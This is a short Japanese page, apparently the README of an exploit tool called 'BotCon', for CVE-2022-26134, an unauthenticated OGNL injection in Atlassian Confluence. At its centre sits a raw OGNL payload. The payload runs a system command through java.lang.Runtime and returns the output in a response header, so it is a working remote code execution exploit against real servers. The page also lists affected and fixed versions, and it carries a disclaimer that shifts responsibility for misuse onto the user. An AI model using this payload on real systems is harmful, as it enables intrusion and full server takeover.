BotCon

Attlasian Confluence の OGNL インジェクションによる認証不要のリモートコード実行 (CVE-2022-26134)

• 2022年6月2日、Atlassian は Confluence Server および Data Center アプリケーションに関するセキュリティアドバイザリを公開し、クリティカルな深刻度の認証不要リモートコード実行脆弱性を強調しました。この OGNL インジェクションの脆弱性により、認証されていないユーザーが Confluence Server または Data Center インスタンス上で任意のコードを実行できる可能性があります。

注意事項！

注意して使用してください。あなた自身の行動に責任を持ってください。 開発者は一切の責任を負わず、誤用や損害についても責任を負いません。

RAW ペイロード

${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}

脆弱性の詳細

• 影響を受ける製品 :

  • Confluence
    • Confluence Server
    • Confluence Data Center

• 影響を受けるバージョン :

  • すべてのサポート対象の Confluence Server および Data Center のバージョンが影響を受けます。
  • 1.3.0 以降の Confluence Server および Data Center のバージョンが影響を受けます。

軽減策

• お使いの Attlasian Confluence を以下の修正バージョンにアップデートしてください :
  • 7.4.17
  • 7.13.7
  • 7.14.3
  • 7.15.2
  • 7.16.4
  • 7.17.4
  • 7.18.1